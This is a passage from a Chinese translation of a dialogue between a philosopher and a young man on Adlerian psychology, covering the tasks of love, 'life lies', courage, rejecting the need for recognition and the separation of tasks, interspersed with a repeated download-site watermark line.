能等着别人发生变化,也不要等着状况有所改变,而是由你自己勇敢迈
see more please visit: https://homeofpdf.com
出第一步。
青年:嗯……
哲人:事实上,你这样到我的房间来拜访,而我就可以得到一位你
这样的年轻朋友。
青年:先生您是说我是您的朋友?
哲人:是的,不是这样吗?我们在这里的对话不是咨询辅导,我们
也不是工作关系。对我来说,你就是一位无可替代的朋友。难道你不这
么认为吗?
青年:您是说无可替代的……朋友吗?不、不!现在我还不想考虑
这一点。咱们继续吧!最后的”爱的课题“是指什么呢?
哲人:这一点可以分成两个阶段:一个就是所谓的恋爱关系,而另
一个就是与家人的关系,特别是亲子关系。在工作、交友和爱这三大课
题中,爱之课题恐怕是最难的课题。
例如,当由朋友关系发展成恋爱关系的时候,一些在朋友之间被允
许的言行就不再被允许了。具体说来,例如不可以跟异性朋友一起玩
儿,有时候甚至仅仅因为跟异性朋友打电话,恋人就会吃醋。像这样,
距离近了,关系也深了。
青年:是啊,这也是没办法的事情。
哲人:但是,阿德勒不同意束缚对方这一点。如果对方过得幸福,
那就能够真诚地去祝福,这就是爱。相互束缚的关系很快就会破裂。
青年:不不,这种论调有不忠之嫌啊!如果对方非常幸福地乱搞胡
混,难道也要对其这种姿态给予祝福吗?
哲人:并不是积极地去肯定花心。请你这样想,如果在一起感到苦
闷或者紧张,那即使是恋爱关系也不能称之为爱。当人能够感觉到”与
这个人在一起可以无拘无束“的时候,才能够体会到爱。既没有自卑感
也不必炫耀优越性,能够保持一种平静而自然的状态。真正的爱应该是
这样的。
see more please visit: https://homeofpdf.com
另一方面,束缚是想要支配对方的表现,也是一种基于不信任感的
想法。与一个不信任自己的人处在同一个空间里,那就根本不可能保持
一种自然状态。阿德勒说:”如果想要和谐地生活在一起,那就必须把
对方当成平等的人。“
青年:嗯。
哲人:不过,恋爱关系或夫妻关系还可以选择”分手“。即使常年一
起生活的夫妻,如果难以继续维持关系的话,也可以选择分手。但是,
亲子关系原则上就不可以如此。假如恋爱是用红色丝线系起来的关系的
话,那亲子关系就是用坚固的锁链联结起来的关系。而且,自己手里只
有一把小小的剪刀。亲子关系难就难在这里。
青年:那么,怎么做才好呢?
哲人:现阶段能说的就是不能够逃避。无论多么困难的关系都不可
以选择逃避,必须勇敢去面对。即使最终发展成用剪刀剪断,也要首先
选择面对。最不可取的就是在”这样“的状态下止步不前。
人根本不可能一个人活着,只有在社会性的环境之下才能成为”个
人“。因此,阿德勒心理学把作为个人的”自立“和在社会中的”和谐“作
为重大目标。那么,如何才能实现这些目标呢?阿德勒说:”在这里必
须要克服’工作,‘交友’和‘爱’这三大课题。“但是,青年依然很难领会人
活着必须面对的人际关系课题的真正含义。
see more please visit: https://homeofpdf.com
”人生谎言“教我们学会逃避
青年:啊,我的头又乱了。先生也说过吧,我之所以把别人看成
是”敌人“而不能看成是”伙伴“,是因为在逃避人生的课题。那究竟是什
么意思呢?
哲人:假设你讨厌A这个人,说是因为A身上有让人无法容忍的缺
点。
青年:是啊,如果是讨厌的人,那还真不少^
哲人:但是,那并不是因为无法容忍A的缺点才讨厌他,而是你先
有”要讨厌A“这个目的,之后才找出了符合这个目的的缺点。
青年:怎么可能?!那我这么做又是为了什么呢?
哲人:为了逃避与A之间的人际关系。
青年:哎呀,这绝对不可能!即使再怎么想,顺序也是反的。是因
为他做了惹人讨厌的事,所以大家才会讨厌他,否则也没有理由讨厌
他!
哲人:不,不是这样的。如果想一想与处于恋爱关系的人分手时候
的情况就会容易理解了。
在恋爱或夫妻关系中,过了某个时期之后,有时候对方的任何言行
都会让你生气。吃饭的方式让你不满意,在房间里的散漫姿态令你生
厌,甚至就连对方睡眠时的呼吸声都让你生气,尽管几个月前还不是这
样。
青年:……是的,这个能够想象得到。
哲人:这是因为那个人已经下定决心要找机会”结束这种关系“,继
而正在搜集结束关系的材料,所以才会那样感觉。对方其实没有任何改
变,只是自己的”目的“变了而已。人就是这么任性而自私的生物,一旦
产生这种想法,无论怎样都能发现对方的缺点。即使对方是圣人君子一
样的人物,也能够轻而易举地找到对方值得讨厌的理由。正因为如此,
世界才随时可能变成危险的所在,人们也就有可能把所有他人都看
see more please visit: https://homeofpdf.com
成”敌人“。
青年:那么,您是说我为了逃避人生课题或者进一步说是为了逃避
人际关系,仅仅为了这些我就去捏造别人的缺点?
哲人:是这样的。阿德勒把这种企图设立种种借口来回避人生课题
的情况叫作”人生谎言‘。
青年:......
哲人:这词很犀利吧。对于自己目前所处的状态,把责任转嫁给别
人,通过归咎于他人或者环境来回避人生课题。前面我提到的患脸红恐
惧症的那个女学生也是一样——对自己撒谎,也对周围的人撒谎。仔细
考虑一下,这的确是一个相当犀利的词语。
青年:但是,为什么要把那判定为撒谎呢?我周围都有什么样的
人,之前又经历过怎样的人生,先生您根本一无所知吧!
哲人:是的,我对你的过去一无所知,有关你父母和你哥哥的事情
我也一无所知。不过,我只知道一点。
青年:是什么?
哲人:那就是,决定你的生活方式(人生状态)的不是其他任何
人,而是你自己这一事实。
青年:啊!!
哲人:假若你的生活方式是由他人或者环境所决定的,那还有可能
转嫁责任。但是,我们是自己选择自己的生活方式,责任之所在就非常
明确了。
青年:您是打算要谴责我吧?说我是一个骗子、一个懦夫!说全都
是我的责任!
哲人:请你不要用怒气来回避这个问题。这是非常关键的。阿德勒
并不打算用善恶来区分人生课题或者人生谎言。我们现在应该谈的既不
是善恶问题也不是道德问题,而是“勇气”问题。
see more please visit: https://homeofpdf.com
青年:又是“勇气”吗?
哲人:是的。即使你逃避人生课题、依赖人生谎言,那也不是因为
你沾染了“恶”。这不是一个应该从道德方面来谴责的问题,它只是“勇
气”的问题。
see more please visit: https://homeofpdf.com
阿德勒心理学是“勇气的心理学”
青年:……最终还是“勇气”问题吗?如此说来,先生您上次也说
过,阿德勒心理学是“勇气心理学”。
哲人:如果再加上一点的话,那就是阿德勒心理学不是“拥有的心
理学”而是“使用的心理学”。
青年:也就是“不在于被给予了什么,而在于如何去使用被给予的
东西”那句话吗?
哲人:是的,你记得很清楚嘛。弗洛伊德式的原因论是“拥有的心
理学”,继而就会转入决定论。另一方面,阿德勒心理学是“使用的心理
学”,起决定作用的是你自己。
青年:阿德勒心理学是“勇气的心理学”,同时也是“使用的心理
学”。
哲人:我们人类并不是会受原因论所说的精神创伤所摆弄的脆弱存
在。从目的论的角度来讲,我们是用自己的手来选择自己的人生和生活
方式。我们有这种力量。
青年:但说实话,我没有信心能够克服自卑情结,即便那是一种人
生谎言,我今后恐怕也无法摆脱这种自卑情结。
哲人:为什么会那样想呢?
青年:也许先生您的话是正确的。不,我所缺乏的肯定就是勇气。
我也承认人生谎言。我害怕与人打交道,不想在人际关系中受伤,所以
就想回避人生课题。正因为如此才摆出了这样那样的借口。是的,就是
这样。但是,先生的话终归只是精神论吧!只不过是说些“你就是缺乏
勇气,要拿出勇气来!”之类的激励的话。这就跟只会拍着别人的肩膀
劝告说“拿出勇气来!”之类的愚蠢指导者一样。可是,我就是因为振作
不起来才烦恼的啊!
哲人:总而言之,你就是希望听到具体对策,对吧?
青年:正是。我是人,不是机器,不可能一听到“拿出勇气”之类的
see more please visit: https://homeofpdf.com
指令后,就马上像加油一样地去补充勇气!
哲人:我知道了。但是,今晚也己经很晚了,所以下次我再告诉你
吧。
青年:您不是在逃避吧?
哲人:当然不是。也许下一次还要讨论一下自由这个话题。
青年:不是勇气吗?
哲人:是的,是关于谈论勇气的时候所不可不提的有关自由的讨
论。请你也思考一下自由是什么。
青年:自由是什么……好吧。那么,期待着下次见面。
see more please visit: https://homeofpdf.com
第三夜 让干涉你生活的人见鬼去
苦苦思索两周之后,青年再次来到哲人的书房。自由是什么?我为
什么不能获得自由?真正束缚我的究竟是什么?青年被布置的作业实在
是太沉重,根本无法找出合适的答案。青年越想越感觉自己缺少自由。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
自由就是不再寻求认可?
青年:您上次说今天要讨论自由吧?
哲人:是的,你考虑过自由是什么了吗?
青年:这我己经仔细考虑过了。
哲人:得出结论了吗?
青年:哎呀,没得出结论。但是,有一个不是我自己的想法,而是
从图书馆发现的这么一句话,就是:“货币是被铸造的自由。”它是陀思
妥耶夫斯基的小说屮出现的一句话。“被铸造的自由”这种说法是何等的
痛快啊!我认为这是一句非常精辟的话,它一语道破了货币的本质。
哲人:的确如此。如果要坦率地说出货币所带来的东西的本质的
话,那或许就是自由。这大概也可以被称为名言。不过,也不可以据此
就说“自由就是货币”吧?
青年:完全正确。也有能够通过金钱得到的自由。而且,那种自由
一定比我们想象的还要大。因为事实上,衣食住行的一切都是由金钱来
支撑。虽说如此,但是否只要有巨额财富,人就能够获得自由呢?我认
为不是,也相信不是。我认为人的价值、人的幸福不是可以用金钱买到
的东西。
哲人:那么,假设你得到了金钱方而的自由,但仍然无法获得幸
福。这种时候,你所剩的是什么样的烦恼和什么样的不自由呢?
青年:那就是先生再三提到的人际关系了。这一点我也仔细想过
了。例如,尽管拥有巨额财富,但却找不到爱的人;没有能够称得上是
知己的朋友,甚至被大家所厌恶。这都是极大的不幸。
另一个一直萦绕在我脑海里的就是“羁绊”这个词语。我们其实都挣
扎般地活在各种各样的“羁绊”之中——不得不和讨厌的人交往,不得不
忍受讨厌的上司的嘴脸等。请您想象一下,如果能够从烦琐的人际关系
中解放出来的话,那会有多么轻松啊!
但是,这种事任何人都做不到。无论我们走到哪里都被他人包围
see more please visit: https://homeofpdf.com
着,都是活在与他人的关系之中的社会性的“个人”,无论如何都逃不出
人际关系这张坚固的大网。阿德勒所说的“一切烦恼皆源于人际关系”这
句话真可谓是真知灼见啊。一切的事情最终都会归结到这一点上。
哲人:这的确很重要。请你再深入考虑一下,到底是人际关系中的
什么剥夺了我们的自由呢?
青年:就是这一点!就是先生您上次说的是把别人当成“敌人”还
是“伙伴”这一点。您说如果能够把别人看成“伙伴”,那么对世界的看法
也会随之改变。这种说法我完全可以接受。我上次回去的时候也已经完
全认可了这一看法。但是,再仔细一想,觉得人际关系中还有些无法仅
仅用这一道理来解释的要素。
哲人:比如呢?
青年:最简单易懂的就是父母的存在。对于我来说,无论怎么
想“父母”都不是“敌人”,特别是在孩童时代,他们作为最大的庇护者养
育和守护了我。关于这一点,我真心实意地满怀感激。
不过,我父母是非常严厉的人。上一次我也说过,父母常常拿我和
哥哥比,并且毫不认可我。同时,对于我的人生,他们也总是指手画
脚。比如常常说些“要好好学习”“不要跟那样的朋友来往”“至少得上这
个大学”或者“必须选择这样的工作”之类的话。这种要求是一种极大的
压力,也是一种羁绊。
哲人:最后你是怎么做的呢?
青年:在上大学之前,我一直认为不能无视父母的意愿,所以总是
既烦恼又反感。但事实上,我在不知不觉间就把自己的希望和父母的希
望重合在了一起。虽然工作是按照自己的意愿选的。
哲人:这么一说才想起来,我还没有问过你的职业是什么呢?
青年:我现在是大学图书馆的管理员,而我的父母则希望我像哥哥
一样继承父亲的印刷工厂。因此,自从我就职以来,与父母的关系就多
少有些不愉快。
如果对方不是自己的父母而是“敌人”一样的存在,那我就根本不会
see more please visit: https://homeofpdf.com
苦恼吧。因为无论对方怎么干涉,只要无视就可以了。但对我来说,父
母不是“敌人”。是不是伙伴暂且不论,但至少不是应该称为“敌人”的存
在。因为关系实在是太亲近了,所以根本不能无视其意愿。
哲人:当你按照父母的意愿选择大学的时候,你对父母是一种什么
样的感情呢?
青年:很复杂。虽然也有怨气,但另一方面又有一种安心感。心里
想:“如果是这个学校的话,应该能够得到父母的认可吧。”
哲人:那么,“能够得到认可”又是指什么呢?
青年:哈,请您不要兜着圈子地做诱导询问。先生您应该也知道,
就是所谓的“认可欲求”,人际关系的烦恼都集中在这一点上。我们在活
着时常需要得到他人的认可。正因为对方不是令人讨厌的“敌人”,所以
才想要得到那个人的认可!对,我就是想要得到父母的认可!
哲人:明白了。关于现在这个话题,我要先说一下阿德勒心理学
的-个大前提。阿德勒心理学否定寻求他人的认可。
青年:否定认可欲求?
哲人:根本没必要被别人认可,也不要去寻求认可。这一点必须事
先强调一下。
青年:哎呀,您在说什么呢!认可欲求不正是推动我们人类进步的
普遍欲求吗?!
see more please visit: https://homeofpdf.com
要不要活在别人的期待中?
哲人:得到别人的认可的确很让人高兴。但是,要说是否真的需要
被人认可,那绝对不是。人原本为什么要寻求认可呢?说得再直接一
些,人为什么想要得到别人的表扬呢?
青年:答案很简单。只有得到了别人的认可,我们才能体会到“自
己有价值”。通过别人的认可,我们能够消除自卑感,可以增加自信
心。对,这就是“价值”的问题。先生您上次不也说过吗?自卑感就是价
值判断的问题。我正是因为得不到父母的认可所以才一直活在自卑之
中!
哲人:那么,我们用一个身边的例子来考虑一下。比如,假设你在
工作单位捡了垃圾。但是,周围的人根本没人注意到这一点;或者即使
注意到了,也没有人说一句感谢或表扬的话。那么,你以后还会继续检
垃圾吗?
青年:这真是一个困难的问题啊。如果没有得到任何人的感谢,那
也许以后就不会再继续去做了吧。
哲人:为什么呢?
青年:捡垃圾是“为了大家”。为了大家流汗受累,却连一句感谢的
话都得不到。如果这样的话也许就不想再做下去了吧。
哲人:认可欲求的危险就在这里。人究竟为什么要寻求别人的认可
呢?其实,很多情况下都是因为受赏罚教育的影响。
青年:赏罚教育?
哲人:如果做了恰当的事情就能够得到表扬,而如果做了不恰当的
事情就会受到惩罚。阿德勒严厉批判这种赏罚式的教育。在赏罚式教育
之下会产生这样一种错误的生活方式,那就是“如果没人表扬,我就不
去做好事”或者是“如果没人惩罚,我也做坏事”。是先有了希望获得表
扬这个目的,所以才去捡垃圾。并且,如果不能够得到任何人的表扬,
那就会很愤慨或者是下决心再也不做这样的事情。很明显,这是一种不
正常的想法。
see more please visit: https://homeofpdf.com
青年:不对!请您不要把话题缩小!我不是在讨论教育。希望得到
喜欢的人的认可、希望被身边的人接纳,这都是非常自然的欲求!
哲人:你犯了一个大大的错误。其实,我们“并不是为了满足别人
的期待而活着”。
青年:您说什么?
哲人:你不是为了满足别人的期待而活着,我也不是为了满足别人
的期待而活着。我们没必要去满足别人的期待。
青年:不不,这是非常自私的论调!您是说要只为自己着想、自以
为是地活着吗?
哲人:在犹太教教义中有这么一句话:“倘若自己都不为自己活出
自己的人生,那还有谁会为自己而活呢?”你就活在自己的人生中。要
说为谁活着,那当然是为你自己。假如你不为自己而活的话,那谁会为
你而活呢?我们最终还是为自己活着。没理由不可以这样想。
青年:先生您还是中了虚无主义之毒!您是说人们都可以为自己活
着?这是多么卑劣的想法啊!
哲人:这并不是虚无主义,而且正相反。如果一味寻求别人的认
可、在意别人的评价,那最终就会活在别人的人生中。
青年:什么意思?
哲人:过于希望得到别人的认可,就会按照别人的期待去生活。也
就是舍弃真正的自我,活在别人的人生之中。而且,请你记住,假如说
你“不是为了满足他人的期待而活”,那他人也“不是为了满足你的期待
而活”。当别人的行为不符合自己的想法的时候也不可以发怒。这也是
理所当然的事情。
青年:不对!这简直是一种彻底颠覆我们的社会的论调!我们都有
认可欲求。但是,为了得到别人的认可,首先自己得先认可别人。正因
为我们认可了他人、认可了不同的价值观,我们才能够得到别人的认
可。通过这种相互认可,我们才建立起了“社会”!先生您的主张诱导人
孤立甚至对立,是一种令人唾弃的危险思想!是足以挑起不信任感和猜
see more please visit: https://homeofpdf.com
忌心的恶魔式的教唆!
哲人:哈哈哈,你用的词可真有意思。没必要那么激动,咱们一起
来想想吧。得不到认可就非常痛苦,如果得不到别人和父母的认可就没
有自信。那么,这样的人生能称得上健全吗?例如,有人会想:“因为
神在看着,所以要积累善行。”但这是与“因为没有神,所以可以无恶不
作”之类的虚无主义相对的一种思想。即使神并不存,在即使无法得到
神的认可,我们也必须要活出自己的人生。而且,正是为了克服无神世
界的虚无主义才更有必要否定他人的认可。
青年:这和神的事情根本没关系!请您更加认真、更加直接地考虑
一下活在俗世中的人们的心!
例如,希望获得社会性认可的认可欲求又会怎么样呢?为什么人想
要在工作中出人头地呢?为什么人要追求地位和名誉呢?这是一种希望
被社会整体认可的认可欲求吧!
哲人:那么,得到了认可就真的会幸福吗?获得了一定社会地位的
人就能体会到幸福吗?
青年:哎呀,这个嘛……
哲人:想要取得别人认可的时候,几乎所有人都会采取“满足别人
的期待”这一手段,这其实都是受“如果做了恰当的事情就能够得到表
扬”这种赏罚教育的影响。但是,如果工作的主要目标成了“满足别人的
期待”,那工作就会变得相当痛苦吧。因为那样就会一味在意别人的视
线、害怕别人的评价,根本无法做真正的自己。也许你会感到意外,但
事实上,来接受心理咨询辅导的人几乎没有任性者。反而很多人是苦恼
于要满足别人的期待、满足父母或老师的期待,无法按照自己的想法去
生活。
青年:那么,您是说要我做一个任性自私的人吗?
哲人:并不是旁若无人地任意横行。要理解这一点,需要先了解阿
德勒心理学中的“课题分离”这一主张。
青年:……课题分离?这可是个新词啊。那我就听听吧。
see more please visit: https://homeofpdf.com
青年的焦躁情绪达到了顶点。要否定认可欲求?不要满足别人的期
待?要为自己活着?这位哲学家究竟在说什么呢?认可欲求不正是人与
他人交往形成社会的最大动机吗?青年心里默默地想:如果这个“课题
分离”的主张不能说服我的话,我这一生都不可能再接受眼前的这个男
人和阿德勒了!
see more please visit: https://homeofpdf.com
把自己和别人的“人生课题”分开来
哲人:例如,有一个不爱学习的孩子,不听课、不写作业甚至连教
科书都忘在学校。那么,如果你是父母的话,你会怎么做呢?
青年:当然是想尽一切办法地让其学习呀!上辅导班、请家庭教
师,有时候甚至还可能会扯耳朵。这就是父母的责任和义务吧。实际上
我就是这样长大的——做不完当天的作业,父母就不让吃晚饭。
哲人:那么,我再问你一个问题。被这种强制性的手段强迫学习,
那你最终喜欢上学习了吗?
青年:很遗憾,没能喜欢上学习。为了学校或者考试的学习只是应
付而已。
哲人:明白了。那么,我就从阿德勒心理学的基本原理开始说起。
例如,当眼前有“学习”这个课题的时候,阿德勒心理学会首先考虑“这
是谁的课题”。
青年:谁的课题?
哲人:孩子学不学习或者跟不跟朋友玩,这原本是“孩子的课题”,
而不是父母的课题。
青年:您是说这是孩子应该做的事吗?
哲人:坦率说的话,就是如此。即使父母代替孩子学习也没有任何
意义吧?
青年:哎呀,那倒是。
哲人:学习是孩子的课题。与此相对,父母命令孩子学习就是对别
人的课题妄加干涉。如果这样的话,那肯定就避免不了冲突。因此,我
们必须从“这是谁的课题”这一观点出发,把自己的课题与别人的课题分
离开来。
青年:分离之后再怎么做呢?
see more please visit: https://homeofpdf.com
哲人:不干涉他人的课题。仅此而己。
青年:……仅此而已吗?
哲人:基本上,一切人际关系矛盾都起因于对别人的课题妄加干
涉,或者自己的课题被别人妄加干涉。只要能够进行课题分离,人际关
系就会发生巨大改变。
青年:我还是不太明白,究竟如何辨别“这是谁的课题”呢?实际
上,在我看来让孩子学习是父母的责任和义务。因为,几乎没有真心喜
欢学习的孩子,而父母则是孩子的保护人。
哲人:辨别究竟是谁的课题的方法非常简单,只需要考虑一下“某
种选择所带来的结果最终要由谁来承担?”如果孩子选择“不学习”这个
选项,那么由这种决断带来的后果一一例如成绩不好、无法上好学校等
——最终的承担者不是父母,而是孩子。也就是说,学习是孩子的课
题。
青年:不不,根本不对!为了不让这种事态发生,既是人生前辈又
是保护人的父母有责任告诫孩子“必须好好学习!”。这是为孩子着想,
而不是妄加干涉。“学习”或许是孩子的课题,但“让孩子学习”却是父母
的课题。
哲人:的确,世上的父母总是说“为你着想”之类的话。但是,父母
们的行为有时候很明显是为了满足自己的目的——面子和虚荣又或者是
支配欲。也就是说,不是“为了你”而是“为了我”,正因为察觉到了这种
欺骗行为,孩子才会反抗。
青年:那么您是说,即使孩子完全不学习,那也是孩子自己的课
题,所以要放任不管吗?
哲人:这一点需要注意。阿德勒心理学并不是推崇放任主义。放任
是一种不知道也不想知道孩子在做什么的态度。而阿德勒心理学的主张
不是如此,而是在了解孩子干什各的基础上对其加以守护。如果就学习
而言,告诉孩子这是他自己的课题,在他想学习的时候父母要随时准备
给予帮助,但绝不对孩子的课题妄加干涉。在孩子没有向你求助的时候
不可以指手画脚。
see more please visit: https://homeofpdf.com
青年:这不仅仅限于亲子关系吧?
哲人:当然。例如,阿德勒心理学的心理咨询辅导认为,被辅导者
是否改变并不是辅导顾问的课题。
青年:您说什么?
哲人:接受心理咨询辅导之后,被辅导者下什么样的决心、是否改
变生活方式,这都是被辅导者本人的课题,辅导顾问不能干涉。
青年:不不,怎么能有那么不负责任的态度呢?
哲人:当然,辅导顾问要竭尽全力地加以援助,但不可以妄加干
涉。某个国家有这么一句谚语:可以把马带到水边,但不能强迫其喝
水。阿德勒心理学中的心理咨询辅导以及对别人的一切援助都遵循这个
要求。倘若无视本人的意愿而强迫其“改变”,那结果只会是日后产生更
加强烈的反作用。
青年:辅导顾问不改变被辅导者的人生吗?
哲人:能够改变自己的只有自己。
see more please visit: https://homeofpdf.com
即使父母也得放下孩子的课题
青年:那么,闭居在家的情况怎么样呢?也就是像我朋友那样的情
况。即使那样,您依然要说“课题分离”“不可以干涉”“跟父母无关”之类
的话吗?
哲人:是否从闭居在家的状态中解脱出来或者如何解脱出来,这些
原则上是应该由本人自己解决的课题,父母不可以干涉。虽说如此,但
毕竟不是毫无关系的陌生人,所以需要施以某些援助。最重要的是,孩
子在陷入困境的时候是否想要真诚地找父母商量或者能不能从平时开始
就建立起那种信赖关系。
青年:那么,假如先生您的孩子闭居在家,您会怎么办呢?请您不
要作为哲学家而是作为一个父亲来回答这个问题。
哲人:首先,我会断定“这是孩子的课题”。对孩子的闭居状态不妄
加干涉也不过多关注。而且,告诉孩子在他困惑的时候我随时准备给予
援助。如此一来,察觉到父母变化的孩子也就不得不考虑一下今后该如
何做这一课题了。他可能会寻求援助,也可能会自己想办法解决。
青年:如果闭居在家的真是自己的孩子,您也能够那么想得开吗?
哲人:苦恼于与孩子之间的关系的父母往往容易认为:孩子就是我
的人生。总之就是把孩子的课题也看成是自己的课题,总是只考虑孩
子,而当意识到的时候,他们已经失去了自我。但即使父母再怎么背负
孩子的课题,孩子依然是独立的个人,不会完全按照父母的想法去生
活。孩子的学习、工作、结婚对象或者哪怕是日常行为举止都不会完全
按照父母所想。当然,我也会担心甚至会想要去干涉。但是,刚才我也
说过:“别人不是为了满足你的期待而活。”即使是自己的孩子也不是为
了满足父母的期待而活。
青年:您是说就连家人也要划清界限?
哲人:正因为是关系紧密的家人,才更有必要有意识地去分离课
题。
青年:这太奇怪了!先生,您一方面宣扬爱,另一方面又去否定
see more please visit: https://homeofpdf.com
爱。如果那样与别人划清界限的话,岂不是谁都不能信任了吗?!
哲人:信任这一行为也需要进行课题分离。信任别人,这是你的课
题。但是,如何对待你的信任,那就是对方的课题了。如果不分清界限
而是把自己的希望强加给别人的话,那就变成粗暴的“干涉”了。
即使对方不如自己所愿也依然能够信任和爱吗?阿德勒所说的“爱
的课题”就包括这种追问。
青年:太难了!这太难了!
哲人:当然。但请你这样想,干涉甚至担负起别人的课题这会让自
己的人生沉重而痛苦。如果你正在为自己的人生而苦恼——这种苦恼源
于人际关系——那首先请弄清楚“这不是自己的课题”这一界限;然后,
请丢开别人的课题。这是减轻人生负担,使其变得简单的第一步。
see more please visit: https://homeofpdf.com
放下别人的课题,烦恼轻轻飞走
青年:……我还是不能理解。
哲人:那么,假设你父母强烈反对你所选的工作。实际上他们也反
对吧?
青年:是的,虽然没有正面地激烈反对过,但话里话外常带着嫌弃
的意思。
哲人:那么,假设他们进行了更加直接、更加激烈的反对,父亲大
发雷霆,母亲痛哭流涕,总之都想方设法地反对,甚至威胁说绝对不会
承认图书管理员儿子,如果不和哥哥一起继承家族事业就与你断绝亲子
关系。但是,如何克服这种“不认可”的感情,那并不是你的课题,而是
你父母的课题。你根本不需要在意。
青年:不,请等一下!先生您是说“无论让父母多么伤心都没有关
系”吗?
哲人:没有关系。
青年:不是幵玩笑吧!哪里有推崇不孝顺的哲学呀!
哲人:关于自己的人生你能够做的就只有“选择自己认为最好的道
路”。另一方面,别人如何评价你的选择,那是别人的课题,你根本无
法左右。
青年:别人如何看自己,无论是喜欢还是讨厌,那都是对方的课题
而不是自己的课题。先生您是这个意思吗?
哲人:分离就是这么回事。你太在意别人的视线和评价,所以才会
不断寻求别人的认可。那么,人为什么会如此在意别人的视线呢?阿德
勒心理学给出的答案非常简单,那就是因为你还不会进行课题分离。把
原本应该是别人的课题也看成是自己的课题。请你想想前面那位老婆婆
说的“在意你的脸的只有你自己”那句话。她的话一语道破了课题分离的
核心。看到你的脸的别人怎么想,那是别人的课题,你根本无法左右。
青年:哎呀,道理是明白,理性上也可以接受!但是,感性上无法
see more please visit: https://homeofpdf.com
接受这种蛮横的论调!
哲人:那么,请你从别的角度考虑一下。假设有人正苦恼于公司的
人际关系。有一个毫不讲理的上司一遇到事情就大发雷霆。无论你怎么
努力,他都不给予认可,甚至都不好好听你说话。
青年:我的上司就是这样的人。
哲人:但是,要想获得这个上司的认可,你最先应该想到的或许就
是“工作”吧?但工作并不是用来讨公司同事欢心的事情。上司讨厌你。
而且,毫无理由地讨厌你。如果是这样,你就没有必要主动去迎合他。
青年:按道理来讲是这样。但是,对方可是自己的上司啊!如果被
顶头上司疏远的话,那就无法工作。
哲人:这也是阿德勒所提到的“人生的谎言”。因为被上司疏远所以
无法工作,我工作干不好全是因为那个上司。说这种话的人其实是搬出
上司来做“干不好工作”的借口。就像患上脸红恐惧症的那个女学生一
样,你也需要一个“讨厌的上司”的存在,以便在心里想:“只要没有这
个上司,我就可以更好地工作。”
青年:哎呀,先生您并不了解我和上司的关系!请不要妄加猜测!
哲人:这就是与阿德勒心理学的根本原则紧密相关的讨论。如果生
气的话,就根本无法冷静思考。认为“因为有那样一个上司,所以无法
好好工作”,这完全是原因论。请不要这样想,而是要反过来这样
看:“因为不想工作,所以才制造出一个讨厌的上司。”或者认为:“因
为不愿意接受无能的自己,所以才制造出一个无能的上司。”这就成了
目的论式的想法。
青年:用先生您自己主张的目的论来看也许是这样,但我的情况并
不是这样!
哲人:那么,假如你会进行课题分离又会如何呢?也就是说,无论
上司怎么蛮不讲理地乱发脾气,那都不是“我”的课题。毫不讲理这件事
情是上司自己应该处理的课题,既没必要去讨好,也没必要委曲求全,
我应该做的就是诚实面对自己的人生、正确处理自己的课题。如果你能
够这样去理解,事情就会截然不同了。
see more please visit: https://homeofpdf.com
青年:但是,那……
哲人:我们都苦恼于人际关系。那也许是你与父母或哥哥之间的关
系又或许是工作上的人际关系。而且,上一次你也说过吧?希望获得更
加具体的方法。
我的建议是这样。首先要思考一下“这是谁的课题”。然后进行课题
分离——哪些是自己的课题,哪些是别人的课题,要冷静地划清界限。
而且,不去干涉别人的课题也不让别人干涉自己的课题这就是阿德勒心
理学给出的具体而且有可能彻底改变人际关系烦恼的具有划时代意义的
观点。
青年:……是呀,先生您之前说今天的议题是“自由”,这一点我渐
渐看出来了呀。
哲人:是的,我们马上就要说到“自由”了。
see more please visit: https://homeofpdf.com
砍断“格尔迪奥斯绳结”
青年:的确,如果能够理解并实践课题分离原则的话,人际关系会
一下子变得自由。但是,我还是不能接受!
哲人:你请讲。
青年:课题分离作为道理来讲完全正确。别人怎么看我怎么评价
我,这是别人的课题,我无法左右。我只需要诚实面对自己的人生,做
自己应该做的事情。这简直可以称为“人生的真理'
但请您想一想,这种在自己和别人之间严格划清界限的生存方式在
伦理上或者道德上能讲得通吗?别人因担心自己而伸出的手也粗暴地推
开并说:不要干涉我!”这不是践踏别人的好意吗?
哲人:你知道亚历山大大帝这个人物吗?
青年:亚历山大大帝?是的,在世界史课上学过……
哲人:是活跃于公元前4世纪的马其顿国王。他在远征波斯领地吕
底亚的时候,神殿里供奉着一辆战车。战车是曾经的国王格尔迪奥斯捆
在神殿支柱上的。当地流传着这样一个传说:“解开这个绳结的人就会
成为亚细亚之王。”这是一个很多技艺高超的挑战者都没有解开的绳
结。那么,你认为而对那个绳结的亚历山大大帝会怎么做呢?
青年:是非常巧妙地解开了绳结,不久便成了亚细亚之王吧?
哲人:不,并非如此。亚历山大大帝一看绳结非常牢固,于是便立
即取出短剑将其一刀两断。
青年:什么?!
哲人:据传,当时他接着说道:“命运不是靠传说决定而要靠自己
的剑开拓出来。我不需要传说的力量而要靠自己的剑去开创命运。”正
如你所了解的那样,后来他成了统治自中东至西亚全域的帝王。而“格
尔迪奥斯绳结”也成了一段有名的逸闻。像这样盘综错节的绳结也就是
人际关系中的“羁绊”,己经无法用普通方法解开了,必须用全新的手段
将其切断。我在说明“课题分离”的时候总是会想起格尔迪奥斯绳结。
see more please visit: https://homeofpdf.com
青年:但是,并不是谁都能够成为亚历山大大帝呀。正因为他切断
绳结的事情无人能做,所以才会至今仍然作为英雄式的传说被流传吧?
课题的分离也是一样,即使明白挥剑斩断即可,但还是做不到。因为如
果完成了课题分离,那最终就连人与人之间的联系也会被切断。如此一
来,人就会陷入孤立。先生您所说的课题分离完全无视人的感情,又如
何能够靠它来构筑良好的人际关系呢?
哲人:可以构筑。课题分离并不是人际关系的最终目标,而是入
口。
青年:入口?
哲人:例如,读书的时候如果离得太近就会什么都看不见。同样,
要想构筑良好的人际关系也需要保持一定的距离。如果距离太近,贴在
一起,那就无法与对方正面对话。
虽说如此,但距离也不可以太远。父母如果一味训斥孩子,心就会
疏远。如果这样的话,孩子甚至都不愿与父母商量,父母也不能提供适
当的援助。伸伸手即可触及,但又不踏入对方领域,保持这种适度距离
非常重要。
青年:即使亲子关系也需要保持距离吗?
哲人:当然。你刚才说课题分离是肆意践踏对方好意。这其实是一
种受“回报”思想束缚的想法。也就是说,如果对方为自己做了什么一一
即使那不是自己所期望的事情——自己也必须给予报答。这其实并非是
不辜负好意,而仅仅是受回报思想的束缚。无论对方做什么,决定自己
应该如何做的都应该是自己。
青年:您是说,我所说的羁绊的本质其实是回报思想?
哲人:是的。如果人际关系中有“回报思想”存在,那就会产生“因
